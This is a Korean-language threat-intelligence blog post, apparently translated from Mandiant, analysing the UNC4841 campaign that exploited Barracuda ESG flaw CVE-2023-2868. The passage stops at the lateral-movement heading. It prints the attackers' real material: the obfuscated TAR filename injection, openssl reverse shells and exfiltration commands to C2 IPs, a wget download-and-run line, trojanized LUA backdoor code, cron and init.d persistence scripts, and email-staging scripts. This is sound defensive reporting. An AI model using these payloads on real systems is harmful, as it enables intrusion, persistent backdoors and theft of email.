Blog

중국과 연관된 것으로 의심이 되는 Barracuda ESG 제로데이 취약점(CVE-2023-2868)을 악용하는 위협 활동

Austin Larsen, John Palmisano, Mathew Potaczek, John Wolfram, Matthew McWhirt
Jun 15, 2023
25 min read
|   Last updated: Sep 04, 2023
Consulting
Threat Intelligence
FLARE
Malware
Zero Day Threats
Vulnerabilities
China

2023년 5월 23일 바라쿠다는 클라우드 기반 이메일 보안 솔루션인 Barracuda ESG(Email Security Gateway)의 제로데이 취약점(CVE-2023-2868)이 2022년 10월 초 악용되고 있다는 사실을 발표하였습니다. 더불어 해당 취약점 악용을 조사하기 위해 맨디언트에 의뢰하였다고 밝혔습니다. 맨디언트는 조사를 통해 위협 행위자들이 여러 지역과 공공과 민간 조직에 걸쳐 스파이 활동을 하기 위해 Barracuda ESG 어플라이언스를 표적으로 삼고 있는 것을 확인하였습니다. 맨디언트는 중국과 연계된 것으로 보이는 UNC4841이 이번 캠페인의 배후에 있는 스파이 행위자 집단이라고 확신을 갖고 평가합니다.

UNC4841은 빠르면 2022년 10월 10일부터 취약점이 노출된 Barracuda ESG 어플라이언스에 대한 액세스 권한을 획득하기 위해 CVE-2023-2868을 악용하도록 설계된 맬웨어가 첨부한 이메일(그림 2)을 피해 조직에 보냈습니다. 캠페인 기간 동안 UNC4841은 CVE-2023-2868을 성공적으로 악용한 세 가지 코드 패밀리를 사용해 Barracuda ESG 어플라이언스를 초기 침투 거점으로 확보하였습니다. 위협 행위자가 사용한 코드 패밀리인 SALTWATER, SEASPY, SEASIDE은 대부분의 UNC4841 침입에서 확인할 수 있었습니다. 바라쿠다가 공지를 통해 설명한 바와 같이 이 세 코드 패밀리는 모두 합법적인 Barracuda ESG 모듈 또는 서비스로 가장하려고 시도합니다. UNC4841은 새로운 코드를 추가해 나아가고 있는 것으로 보입니다. 여기에는 이 포스팅에서 처음으로 자세히 소개하는 맬웨어 패밀리가 포함됩니다.

2023년 5월 19일 바라쿠다 팀에 의해 UNC4841의 활동이 처음 발견되었습니다. 2023년 5월 21일 바라쿠다는 UNC4841로부터 영향을 받을 수 있는 Barracuda ESG 어플라이언스를 대상으로 패치를 배포하기 시작하였습니다. 이런 노력에 대응하기 위해 UNC4841은 맬웨어를 빠르게 변경하고 액세스를 유지하기 위해 추가적인 지속성 메커니즘을 적용하였습니다. 2023년 5월 22일부터 2023년 5월 24일까지 UNC4841은 최소 16개 국가에 위치한 다수의 피해자를 대상으로 대응 작업을 수행하였습니다.

맨디언트는 이번 캠페인이 전 세계 공공 및 민간 부문의 조직에 영향을 끼쳤으며 이 중 3분의 1이 정부 기관이라는 사실을 확인하였습니다(그림 5).

2023년 6월 6일 바라쿠다는 영향을 받은 모든 고객에게 손상된 어플라이언스를 즉시 격리하고 교체할 것을 권장하는 지침을 발표했습니다. 참고로 맨디언트는 식별된 위협 행위자가 지속성을 유지하려는 의지를 보였고 Barracuda ESG 어플라이언스를 발판으로 피해 조직 내부에서 측면 이동을 할 수 있는 능력을 보여주었으니 영향을 받은 네트워크에에서 추가 조사 및 위협 헌틴을 수행할 것을 권장합니다.

다음 섹션에서는 침해 조사 과정에서 바라쿠다와 맨디언트가 발견한 기술적인 세부 내용을 알아 보겠습니다. 여기에는 Barracuda ESG 어플라이언스의 초기 침해, 배포된 맬웨어, 바라쿠다의 패치 배포에 대응하기 위한 UNC4841의 전술, 기술, 절차(TTP) 변경이 포함됩니다. 더불어 영향을 받은 조직을 위한 보안 강화 방안, 치료 및 위협 헌팅 권장 사항도 제시합니다.

맨디언트는 UNC4841에 의한 CVE-2023-2868 취약점 악용 이후 바라쿠다의 결정적인 조치, 투명성 및 정보 공유에 대해 찬사를 보냅니다. UNC4841의 취약점 악용에 대한 대응과 후속 조사에서 맨디언트, 바라쿠다, 여러 정부 및 정보 파트너 간 협력이 필요했습니다. 맨디언트는 전체 Barracuda ESG 어플라이언스의 원격 측정 데이터를 제공한 바라쿠다와 제품에 대한 이해가 높은 바라쿠다 엔지니어의 도움을 바탕으로 대응에 나설 수 있었습니다. 바라쿠다가 제공한 데이터를 통해 맨디언트는 위협이 가해진 전체 범위를 파악하고, 대규모로 조사를 수행하고, 공격자의 후속 활동을 모니터링할 수 있었습니다.

Intrusion timeline
그림 1. 침해 타임라인

CVE-2023-2868

CVE-2023-2868은 이메일 첨부 파일 검사와 관련된 원격 명령 인젝션 취약점입니다. 이에 영향을 받는 장치는 Barracuda ESG 어플라이언스 버전 5.1.3.001-9.2.0.00입니다. 명령 인젝션 취약점은 TAR 파일 처리를 위한 구문 분석 로직에 존재합니다. Barracuda ESG 어플라이언스 내의 다음 코드가 취약점의 핵심입니다.

qx{$tarexec -O -xf $tempdir/parts/$part '$f'};

이는 Perl의 qx{} 루틴을 통해 시스템 명령으로 실행되는 $f 변수를 통해 필터링되지 않은 사용자 제어 입력에 해당합니다. f는 사용자가 제어하는 변수로 TAR 내에 아카이브된 파일의 파일명을 포함합니다. 결과적으로 UNC4841은 특정 방식으로 TAR 파일을 포맷하여 명령 인젝션 공격을 트리거하여 Barracuda ESG의 권한으로 시스템 명령을 원격으로 실행할 수 있었습니다.

초기 액세스

UNC4841은 빠르면 2022년 10월 10일부터 CVE-2023-2868을 악용하여 취약한 Barracuda ESG 어플라이언스의 액세스 권한을 얻기 위해 특수하게 제작된 TAR 파일을 첨부한 이메일을 피해 조직에 보냈습니다. 이메일에는 파일 확장자가 ".tar"인 파일을 첨부했지만 이 후에 보낸 이메일에서는 ".jpg" 또는 ".dat" 같은 파일 확장자를 사용했습니다. 파일 확장자에 관계 없이 관찰된 첨부 파일은 CVE-2023-2868을 악용하는 유효한 TAR 파일이었습니다.

관찰한 이메일에는 일반적인 제목과 본문이 포함되어 있었습니다. 내용은 문법적으로 어색한 부분이 좀 있었고 일부의 경우 이메일 템플릿에서 사용되는 자리 표시자 값(Placeholder value)이 포함되어 있었습니다. 맨디언트는 UNC4841이 스팸 필터에 의해 플래그가 지정되거나 보안 분석가가 전체 조사를 수행하지 못하도록 메시지 본문과 제목을 일반적인 스팸으로 조작했을 가능성이 높다고 평가합니다. 맨디언트는 예전에 제로데이 취약점을 악용한 공격 그룹 중 하나가 이런 전술을 사용하는 것을 관찰한 적이 있습니다. 몇 가지 예는 그림 2를 참조바랍니다.

UNC4841 emails
그림 2a: CVE-2023-2868을 악용하는 첨부 파일이 포함된 UNC4841이 보낸 이메일

 

UNC4841 emails
그림 2a: CVE-2023-2868을 악용하는 첨부 파일이 포함된 UNC4841이 보낸 이메일

 

Emails sent by UNC4841 with attachments that exploit CVE-2023-2868
그림 2c: CVE-2023-2868을 악용하는 첨부 파일이 포함된 UNC4841이 보낸 이메일

UNC4841은 여러 방법으로 표적으로 삼은 Barracuda ESG 어플라이언스에 이메일을 전달했습니다. 어떤 경우에는 UNC4841이 존재하지 않은 도메인의 "from" 주소를 스푸핑하여 이메일을 전송하였습니다. 다른 경우에는 공격자가 사용하지 않거나 관리하지 않는 것으로 의심되는 도메인이 포함된 주소를 사용하는 것을 관찰하였습니다.

이메일 헤더 분석 결과 맨디언트는 공격자가 Vultr VPS 서버(216.238.112[.]82)에서 이메일을 전송하는 것을 확인했습니다. 또한, 맨디언트는 주목할만한 특징이나 이력이 없는 소스 IP 주소도 관찰했습니다. 한 사례에서 이메일 헤더는 이메일이 차이나텔레콤에 할당된 IP 주소(101.229.146[.]218)에서 발신된 것으로 나타났습니다. 또한, 맨디언트는 널리 사용되지 않는 것으로 밝혀졌고 다른 중국-넥서스(China-nexus) 스파이 행위자가 피싱 이메일을 보내는 데 사용한 것으로 보이는 메일 클라이언트가 x-mailer 헤더에서 사용되는 것을 확인했습니다.

또한, 맨디언트는 이 공격자가 손상된 Barracuda ESG 어플라이언스를 사용하는 조직의 이메일 주소를 사용했음을 나타내는 이메일도 확보했습니다. 이외에도 UNC4841이 손상된 Barracuda ESG 어플라이언스에서 다른 손상된 어플라이언스의 백도어 모듈을 악용하거나 이 모듈과 상호작용하기 위해 이메일을 보내는 것도 관찰할 수 있었습니다. 결정적인 증거는 없지만 영향을 받은 Barracuda ESG 어플라이언스의 일부에서 발견된 실행 아티팩트는 UNC4841이 명령줄 유틸리티로 의심되는 "CSmtp"를 사용해 이메일을 전송하고 있음을 나타냅니다.

본 포스팅을 작성하는 시점은 맨디언트가 UNC4841이 보낸 CVE-2023-2868 취약점을 악용한 이메일의 일부만 검토한 때입니다. 따라서 언급한 내용이 공격자가 보낸 모든 이메일에 해당하지 않을 수도 있습니다.

리버스 쉘(Reverse Shell)

UNC4841의 TAR 첨부 파일은CVE-2023-2868 취약점을 악용하여 공격자가 표적으로 삼은 특정 Barracuda ESG 어플라이언스에서 리버스 쉘 페이로드를 실행합니다. 현재까지 복구한 악성 TAR 파일은 모두 5개의 아카이브 파일로 구성되었으며, 이 중 4개는 실행 체인 측면에서 볼 때 중요하지 않는 것으로 보입니다. 아카이브의 첫 번째 파일은 파일 이름 안에 익스플로잇 페이로드가 포함되어 있습니다. 이 파일 이름은 구문 분석에 취약합니다. 따라서 아카이빙된 파일의 내용은 중요하지 않습니다. 참고로 파일 내용은 임의의 문자열로 구성되었습니다.

익스플로잇 페이로드(파일 이름)는 (`)과(‘)로 묶여 있으며, 명령 대체 형태로 명령 인젝션을 트리거합니다. 복구한 TAR 아카이브 중 하나에 포함된 예제 파일은 다음과 같습니다.

'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvc
GVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjE0OS4xNTY6ODA4MC
A+L3RtcC9wIDI+L2Rldi9udWxsO3JtIC90bXAvcCI=;ee=ba;G=s;_ech_o $abcdefg_${ee}se64
-d_${G}h;wh66489.txt`'

Once deobfuscated, the payload contains the following format where the variable $abcdefg is a base64 encoded string that is decoded and executed:

abcdefg=c2V0c2lkIH…;echo $abcdefg | base64 -d | sh

복호화되면 페이로드에는 다음과 같은 형식이 포함되며, 변수 $abcdefg는 디코딩 실행되는 base64 인코딩 문자열입니다.

abcdefg=c2V0c2lkIH…;echo $abcdefg | base64 -d | sh

실행할 base64 페이로드의 예는 다음과 같습니다.

setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect 107.148.149[.]156:8080 >/tmp/p 2>/dev/null;rm /tmp/p"

살펴본 일련의 쉘 명령은 다음과 같은 작업을 수행합니다.

  • setsid : 새 세션을 실행하고 터미널에서 분리합니다. 이렇게 하면 터미널이 종료되더라도 다음 명령이 계속 실행됩니다.
  • mkfifo/tmp/p: 실행할 서버에서 명령을 쉽게 전송할 수 있는 저장소로 사용될 /tmp/p에 명명된 파이프(named pipe)를 만듭니다. 참고로 명명된 파이프는 두 프로세스가 파이프를 통해 데이터를 쓰고 읽음으로써 서로 통신할 수 있도록 하는 파일의 한 유형입니다.
  • sh -i </tmp/p 2>&1: 새로운 대화형(-i) 쉘을 생성하고 방금 생성한 명명된 파이프로부터 입력을 리다이렉션합니다. 2>&1은 오류 출력을 표준 출력으로 리다이렉션합니다.
  • openssl s_client -quiet -connect 107.148.149[.]156:8080 >/tmp/p 2>/dev/null: OpenSSL은 지정된 IP 주소 및 포트(이 경우 107.148.149[.]156:8080)에 연결하는 클라이언트를 만드는 데 사용됩니다. -quiet 옵션은 세션 및 인증서 정보 출력을 억제하는 데 사용됩니다. 이 명령의 표준 출력은 명명된 파이프로 리다이렉션되고 오류 출력은 삭제됩니다(2>/dev/null).
  • rm /tmp/p: 이 명령은 명명된 파이프를 제거하여 OpenSSL 연결이 닫힌 후 정리합니다.

또한, 맨디언트는 공격자가 침해 후 유사한 리버스 쉘 페이로드를 사용해 쉘 스크립트를 배포하는 것도 관찰하였습다. 명명된 파이프의 경로는 다양하지만 일반적으로 단일 문자 또는 숫자입니다. 예를 들어 /tmp/p, /tmp/p7, /tmp/t 등이 있습니다. 일부 사례에서 맨디언트는 UNC4841이 접근 권한을 획득한 후 Python을 사용해 bash 쉘을 생성하는 명령을 실행하는 것도 관찰하였습니다.>

python -c import pty;pty.spawn("/bin/bash")

백도어 페이로드

UNC4841은 Barracuda ESG 어플라이언스에 대한 액세스 권한을 확보한 후 서버의 열린 디렉토리에서 보조 백도어 페이로드를 다운로드하기 위해 wget 명령을 실행하였습니다. 어떤 경우 UNC4841은 개별 맬웨어 파일을 직접 다운로드하기도 했습니다. 다른 예에서는 백도어 페이로드가 포함된 TAR 파일을 쉘 스크립트와 함께 다운로드하여 설치하고 지속성을 유지하는 것도 관찰하였습니다. 2차 페이로드인 SALTWATER를 다운로드, 추출, 실행하는 wget 명령의 예는 다음과 같습니다.

sh -c wget --no-check-certificate https://107.148.219[.]53:443/install_reuse/install_reuse.tar;tar -xvf install_reuse.tar;chmod +x update_v35.sh;./update_v35.sh

위의 쉘 명령은 다음과 같은 작업을 수행합니다.

  • wget --no-check-certificate https://107.148.219[.]53:443/install_reuse/install_reuse.tar: SSL/TLS 인증서 확인을 무시하면서 TAR 아카이브를 다운로드합니다.
  • tar -xvf install_reuse.tar: TAR 아카이브를 추출합니다.
  • chmod +x update_v35.sh: 맬웨어 인스톨러 쉘 스크립트에 대한 실행 권한을 활성화합니다.
  • ./update_v35.sh: 맬웨어 인스톨러를 실행합니다.

또한, 맨디언트는 UNC4841이 wget을 사용해 temp[.]sh에 호스팅된 URL에서 RAR 및 ZIP 페이로드를 다운로드하려고 시도하는 것을 관찰했습니다. 이 시도는 실패하였고, 이에 따라 분석을 위한 페이로드를 확보할 수 없었습니다.

지금까지 조사 과정에서 맨디언트와 바라쿠다는 UNC4841이 사용 중인 세 가지 주요 백도어인 SALTWATER, SEASPY, SEASIDE를 확인했습니다.

SEASPY는 UNC4841이 캠페인 전반에 걸쳐 배포한 주요 백도어입니다. SEASPY는 TCP/25(SMTP) 및 TCP/587 포트에서 PCAP 필터로 자신을 설정하고 "magic packet"에 의해 활성화되는 수동 백도어입니다. 맨디언트의 분석에 따르면 SEASPY와 공개적으로 사용 가능한 백도어인 cd00r 사이에 코드가 겹치는 것이 확인되었습니다. SEASPY의 초기 배포는 압축을 풀었을 때 심볼을 유지했으며 파일 이름으로 설치되었습니다.

  • BarracudaMailService

맨디언트는 바라쿠다의 패치가 적용된 후 UNC4841이 SEASPY를 업데이트하여 바이너리 내의 기호를 제거하고, 맬웨어를 UPX로 패킹하고, C2(Commnad & Control)에 대한 리버스 쉘을 설정할 때 인증을 사용하는 것을 관찰했습니다. UNC4841은 이 업데이트된 변종을 파일 이름과 함께 배포했습니다.

  • resize2fstab
  • resize_reisertab

그림 3은 SEASPY의 공격 경로를 보여줍니다.

SEASPY attack path
그림 3. SEASPY 공격 경로

SALTWATER는 백도어 기능이 있는 바라쿠다 SMTP 데몬(bsmtpd)을 위한 모듈입니다. SALTWATER는 임의의 파일을 업로드 또는 다운로드하고, 명령을 실행할 수 있으며, 프록시 및 터널링 기능을 갖추고 있습니다. 백도어는 타사 kubo/funchook 후킹 라이브러리를 통해 전송, 수신, 종료 시스콜(syscall)에 후크를 사용해 구현됩니다. 그리고 바이너리 내에서 "Channels"이라고 하는 5가지 구성 요소로 이루어져 있습니다. 이러한 구성 요소는 백도어 및 프록시 기능을 제공할 뿐만 아니라 고전적인 백도어 기능을 보여줍니다. 다섯 채널은 다음과 같습니다.

  • DownloadChannel
  • UploadChannel
  • ProxyChannel
  • ShellChannel
  • TunnelArgs

UNC4841은 SALTWATER를 배포할 때 악성 활동을 숨기기 위해 타임 스톰핑을 반복적으로 활용했습니다. UNC4841은 SEASIDE를 배포할 때도 타임 스톰핑을 활용했습니다.

또한, 바라쿠다의 초기 치료 스크립트가 배포된 직후 인 2023년 5월 21일부터 2023년 5월 22일 사이에 UNC4841은 효과적인 패치를 방지하기 위해 SEASPY 및 SALTWATER 구성 요소를 빠르게 수정했습니다. 2023년 5월 22일부터 2023년 5월 24일 사이에 UNC4841은 최소 16개 국가에 위치한 다수의 피해자를 대상으로 작업을 수행했으며 SEASPY의 7개 구성 요소와 최소 2개의 SALTWATER 구성 요소를 수정했습니다.

SEASIDE는 바라쿠다 SMTP 데몬(bsmtpd)을 위한 LUA 기반 모듈로 인코딩된 C2 서버 IP 주소와 포트를 수신하여 리버스 쉘을 설정하는 외부 바이너리(WHIRPOOL)에 인자로 전달하기 위해 SMTP HELO/EHLO 명령을 모니터링합니다.

SANDBAR는 특정 이름으로 시작하는 프로세스를 숨기는 후크가 포함된 트로이 목마 형태의 리눅스용 네트워크 파일 시스템 커널 모듈(nfsd_stub.ko)인 루트킷입니다. SANDBAR는 /proc 파일시스템을 쿼리할 때 프로세스 ID가 표시되지 않도록 숨깁니다. SANDBAR는 /proc 파일 시스템에 대한 "file_operations" 구조체의 "iterate_shared" 루틴과 후속 "fildir" 콜백을 훅으로 연결해 프로세스를 숨깁니다. 이 루틴은 공개적으로 사용 가능한 루트킷 코드를 변형한 것으로 보입니다.

맨디언트가 분석한 SANDBAR 샘플은 "Bar"라는 이름으로 시작하는 프로세스를 숨기도록 구성되었습니다. 이는 "BarracudaMailService"라는 이름으로 배포된 SEASPY 맬웨어를 숨기도록 설계된 것으로 보입니다. 네트워크 방어자는 Barracuda ESG 어플라이언스가 SANDBAR에 감염되어 이러한 방식으로 프로세스를 숨기는 경우 프로세스 목록에 대한 명령 출력 또는 로그 소스에 UNC4841이 배포한 맬웨어에 대한 프로세스가 누락될 수 있다는 점을 유의해야 합니다.

트로이 목마화된 Barracuda LUA 모듈

UNC4841은 백도어 설치 외에도 Barracuda ESG 어플라이언스에서 특정 이메일 관련 이벤트가 수신될 때 실행되도록 추가 콜백 로직을 삽입하여 여러 개의 합법적인 Barracuda LUA 모듈을 트로이 목마화하였습니다. 두 개의 다른 맬웨어 패밀리(SEASPRAY, SKIPJACK)로 추적한 세트에서 총 3개의 트로이 목마화된 모듈을 확인할 수 있었습니다.

SEASPRAY는 트로이 목마화된 LUA로 작성된 런처입니다. SEASPRAY는 수신 이메일 첨부 파일에 대한 이벤트 핸들러로 등록합니다. 첨부 파일에 특수 값이 포함된 파일 이름이 있는 경우 SEASPRAY는 해당 파일을 /tmp 디렉토리에 복사하고 전체 경로를 매개변수로 사용해 리버스 쉘을 설정하는 외부 바이너리(WHIRPOOL)를 실행합니다. SEASPRAY를 식별하는 LUA 모듈의 핵심 수정 사항은 다음 스니펫에 포함되어 있습니다.

if string.find(attachment:filename(),'<REDACTED>') ~= nil then

        os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())

        os.execute('rverify'..' /tmp/'..attachment:filename())

end

또한, 맨디언트는 발신자 차단/수락 기능을 구현하는 모듈에 삽입된 SEASPRAY 코드 변종도 발견하였습니다.

if string.find(sender,"<REDACTED>") ~= nil then

        os.execute('saslautchd'..' '..sender)

end

WHIRLPOOL은 TLS 리버스 쉘을 만드는 데 사용되는 C로 작성한 유틸리티입니다. WHIRLPOOL은 지정된 파일 경로인 단일 CLI 인수 또는 지정된 IP 및 포트인 두 개의 인수를 사용합니다. 맨디언트는 WHIRLPOOL이 SEASPRAY 및 SEASIDE와 함께 사용되는 것을 관찰했습니다. 서로 다른 피해자에서 서로 다른 콜백 방법이 사용되었습니다. 이는 부분적으로 발견될 가능성을 줄이기 위해 수행되었을 수도 있고, 새로운 파일을 생성하는 대신 시스템에 이미 존재하는 기존 스크립트를 활용하기 위해 수행되었을 수도 있습니다.

SKIPJACK은 LUA로 작성된 수동 백도어로 이메일을 처리하는 Barracuda ESG 모듈의 트로이 목마화된 버전입니다. SKIPJACK은 수신 이메일 헤더와 제목에 대한 리스너를 등록하고 "Content-ID" 헤더 필드의 컨텐츠를 디코딩하여 실행합니다. SKIPJACK은 이메일 헤더를 처리하는 리스너에 다음과 같은 코드를 삽입하는 것으로 구성됩니다(가독성을 위해 포맷 변경).

if hdr:name() == "Content-ID" then

        if hdr:body() ~= nil then

                if string.match(hdr:body(), "^[%w%+/=\r\n]+$") then

                        io.popen("echo " " .. hdr:body() .. "" | openssl aes-256-cbc -d -A -a -nosalt -K <REDACTED> -iv <REDACTED> 2>/dev/null | base64 -d | sh 2>/dev/null"):close()

                End

        end

end

Content-ID" 필드 값은 "^[%w%+/=\r\n]+$" 정규식에 대해 확인하여 Base64로 인코딩되었는지 확인합니다. 이 조건이 충족되면 SKIPJACK은 openssl 명령을 사용해 컨텐츠를 AES 복호화하고, 복호화된 데이터를 Base64로 디코딩한 후 쉘 명령으로 실행합니다. openssl 명령은 다음 플래그를 설정합니다.

  • aes-256-cbc: 사용할 암호화 알고리즘을 지정합니다. 이 경우 암호 블록 체인(CBC) 모드에서 256비트 키를 사용하는 AES를 사용합니다.
  • -d: 명령이 암호 해독을 수행함을 나타냅니다. 제공된 데이터는 지정된 알고리즘과 키를 사용해 해독됩니다.
  • -A: 복호화를 수행하기 전에 Base64 인코딩에서 입력을 디코딩합니다. 입력 데이터는 Base64 형식을 것으로 예상됩니다.
  • -a: 복호화를 수행한 후 출력을 Base64 형식으로 인코딩합니다. 복호화된 데이터는 Base64 인코딩으로 표시됩니다.
  • -nosalt: salt 값 사용을 비활성화합니다. salt는 일반적으로 암호화에 무작위성을 추가하고 보안을 강화하기 위해 사용됩니다.
  • -K'<REDACTED>': 사용할 암호화 키를 지정합니다. 이 경우 키는 16진수 값 ""로 제공됩니다. 키의 길이는 선택한 암호화 알고리즘에 적합한 길이어야 합니다.
  • -iv'<REDACTED>': 사용할 초기화 벡터(IV)를 지정합니다.

C2 인프라

요약하자면 openssl 명령은 특정 키 및 초기화 벡터와 함께 CBC 모드에서 AES-256을 사용해 입력 데이터를 복호화합니다. 입력은 Base64로 인코딩된 것으로 간주되며 출력도 Base64로 인코딩됩니다. 이 명령은 salt 값을 사용하지 않습니다.

UNC4841이 사용하는 인프라는 Barracuda ESG 어플라이언스에서 제공되는 자체 서명 SSL 임시 인증서를 호스팅하는 것으로 관찰되었습니다. 이는 UNC4841이 리버스 쉘 트래픽을 바라쿠다 인프라에 대해 수행되는 합법적인 통신으로 위장하려는 시도일 가능성이 높습니다.

SHA-256: 6d1d7fe5be6f1db2d7aa2af2b53ef40c2ac06954d983bb40590944c4d00b6e57
SHA-1: 51f7900806f0783f09d45d5017a89322afeb3fc3
MD5: be5b6b52780d35f1392f45d96beb868c

Subject DN: C=US, ST=California, L=Campbell, O=Barracuda Networks, OU=Engineering, CN=Barracuda/[email protected]
Issuer DN: C=US, ST=California, L=Campbell, O=Barracuda Networks, OU=Engineering, CN=Barracuda/[email protected]
Serial Number: 0x2
Validity Period: 2011-09-29 to 2031-09-24

맨디언트는 다음과 같이 UNC4841이 손상된 Barracuda ESG 어플라이언스에서 고객이 업로드한 SSL 인증서를 유출하는 것을 관찰하였습니다.

sh -c openssl s_client -quiet -connect 107.148.219[.]55:443 < /home/product/code/config/ssl_signed_cert.pem 2>&1

맨디언트는 UNC4841의 인프라에서 호스팅되는 합법적인 피해자 인증서로 보이는 것을 관찰한적도 있습니다. 공격자는 피해자가 자체 SSL 인증서를 구성한 Barracuda ESG 어플라이언스에서 인증서를 추출했을 가능성이 높습니다. 또한, 공격자는 다음과 같이 기본 값으로 생성된 자체 서명된 인증서를 사용한 경우도 있었습니다.

There were also cases where the actor had simply used a self-signed certificate generated with default values, such as the certificate shown as follows:

SHA-256: 6b60c1c833979494caff32bf02391793ac85f533516367f12a1cea857bbacba7
SHA-1: 0ea7adb0b54d8bada0a8dc41ef4a9b255691d1ba
MD5: 683acdb559bbc7fb64431d1f579a8104

Subject DN: C=XX, L=Default City, O=Default Company Ltd
Issuer DN: C=XX, L=Default City, O=Default Company Ltd
Serial Number: 0xf3616b5e0e362361
Validity Period: 2022-11-30 to 2023-11-30

여러 사례에서 UNC4841은 손상된 Barracuda ESG 어플라이언스에서 리버스 쉘 통신을 설정하기 위해 IP 주소가 아닌 도메인을 사용했습니다. 맨디언트는 공격자의 C2 인프라 분석을 통해 다른 중국-넥서스 스파이 활동과 연계된 것으로 의심이 가는 인프라와 몇 가지 중복을 발견했습니다. 맨디언트는 동일한 공격 그룹이 두 위협 활동의 배후에 있다고는 보지 않습니다. 대신에 인프라를 제공하는 주체를 공유하고 있다고 봅니다. 중국과 연계된 사이버 스파이 활동은 종종 도구와 인프라를 공유합니다. 이를 놓고 볼 때 UNC4841이 중국과 연계되었다고 합리적으로 의심을 할 수 있습니다. UNC4841은 단기간 동안 IP 주소를 명령 및 제어하도록 설정된 파킹 도메인을 사용하는 것으로 추정됩니다. 이 기법은 중국과 연계된 것으로 의심이 가는 다른 스파이 활동에도 사용되었습니다. 참고로 이는 이 조직만의 고유한 기법은 아닙니다.

지속성 유지 방법

맨디언트는 조사 과정에서 UNC4841이 영향을 받은 Barracuda ESG 어플라이언스에서 지속성을 유지하려도 시도한 여러 방법을 확인했습니다. 지속성 유지를 위한 첫 번째 시도는 시간별 및 일별 cron 작업을 통해 초기 리버스 쉘을 실행하는 것이었습니다. 이런한 cron 작업은 다음 경로에 위치했습니다.

  • /etc/cron.hourly/core.sh
  • /etc/cron.hourly/aacore.sh
  • /etc/cron.hourly/appcheck.sh
  • /etc/cron.daily/core.sh
  • /etc/cron.daily/core_check.sh

UNC4841은 Barracuda ESG 어플라이언스 재부팅 시 다음과 같이 /etc/init.d/rc에 추가해 SEASPY를 지속적으로 실행했습니다.

  • <PATH_TOSEASPY> eth0

다음 스크립트를 활용해 /etc/init.d/rc에 지속성을 설치했습니다.

echo -e '/sbin/BarracudaMailService eth0' >> /etc/init.d/rc

cat /etc/init.d/rc

touch /etc/init.d/rc -r /etc/init.d/reboot

chmod +x /sbin/BarracudaMailService

setsid sh -c "/sbin/BarracudaMailService eth0" &

echo "set the bvp ok"

rm intentbas

...

이후 UNC4841은 Barracuda ESG 어플라이언스에서 실행되는 Perl 스크립트인 update_version 에 다음 명령을 삽입해 SEASPY의 지속적인 실행을 유지했습니다.

  • system("<PATH_TO_SEASPY> eth0")

이 스크립트는 이름과 달리 Barracuda ESG 펌웨어 업데이트 또는 패치 적용에 포함되지 않습니다. 또한, UNC4841은 다음 위치에 SANDBAR 커널 루트킷을 배포해 시작 시 실행되도록 했습니다.

  • /lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.ko

유출

영향을 받은 Barracuda ESG 어플라이언스 일부에서 UNC4841에 의한 이메일 관련 데이터 임시로 저장(Data Staging) 및 유출 증거가 관찰되었습니다. 대부분의 경우 UNC4841은 /mail/tmp/ 디렉토리에 있는 .tar.gz 파일에 데이터를 임시 저장했으며, 피해 조직에 해당하는 3개의 문자 뒤에 001과 같은 숫자를 포함하는 일관된 파일 명명 규칙을 활용했습니다.

영향을 받은 Barracuda ESG 어플라이언스 일부에서 UNC4841에 의한 이메일 관련 데이터 임시로 저장(Data Staging) 및 유출 증거가 관찰되었습니다. 대부분의 경우 UNC4841은 /mail/tmp/ 디렉토리에 있는 .tar.gz 파일에 데이터를 임시 저장했으며, 피해 조직에 해당하는 3개의 문자 뒤에 001과 같은 숫자를 포함하는 일관된 파일 명명 규칙을 활용했습니다.

sh -c openssl s_client -quiet -connect 137.175.51[.]147:443 < /mail/tmp/<REDACTED>.tar.gz 2>&1

또한, 맨디언트는 제한된 수의 Barracuda ESG 어플라이언스에서 특정 사용자 또는 이메일 도메인과 일치하는 이메일에 대해 "mstore"에서 검색을 수행한 다음 결과를 유출하도록 준비시키는 쉘 스크립트를 복구하였습니다. "mstore"는 이메일 메시지가 어플라이언스에 임시로 저장되는 위치입니다. 이 활동은 특정 개인 또는 조직을 기반으로 한 이메일 데이터의 표적 수집을 나타냅니다. UNC4841이 수행한 이메일 수집 활동과는 다릅니다. 계정 수준에서 확인된 표적에는 대만과 홍콩의 유명 학자들과 동남아시아, 아시아, 유럽 정부 관계자들도 포함되어 있었습니다. 공격자는 다음 스크립트를 사용해 "mstore"를 검색하고 사용자 이메일을 유출하기 위해 준비했습니다.

The following script, 1.sh, was leveraged to search the “mstore” and stage user email for exfiltration:

path="/mail/mstore/"

includeContentKeyword="<REDACTED>@\|<REDACTED>@\|@<REDACTED>\|<REDACTED>@\|<REDACTED>@\|<REDACTED>@\|<REDACTED>@\|"

excludeFileNameKeyword="*.log"

find ${path} -type f ! -name $excludeFileNameKeyword | while read line ;

do

result=`head -20 ${line} | grep $includeContentKeyword`

if [ -n "$result" ]

then

echo ${line} >> tmplist

fi

done

tar -T /mail/mstore/tmplist -czvf /mail/mstore/tmp.tar.gz

위협 행위자가 활용한 또 다른 스크립트로 다음과 같은 start.sh가 있습니다.

#!/bin/bash

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {} /usr/share/.uc/<REDACTED>

맨디언트는 제한된 수의 침해 사례에서 UNC4841이 익명 파일 공유 서비스를 유출 수단으로 활용하는 것을 관찰했습니다.

측면 이동

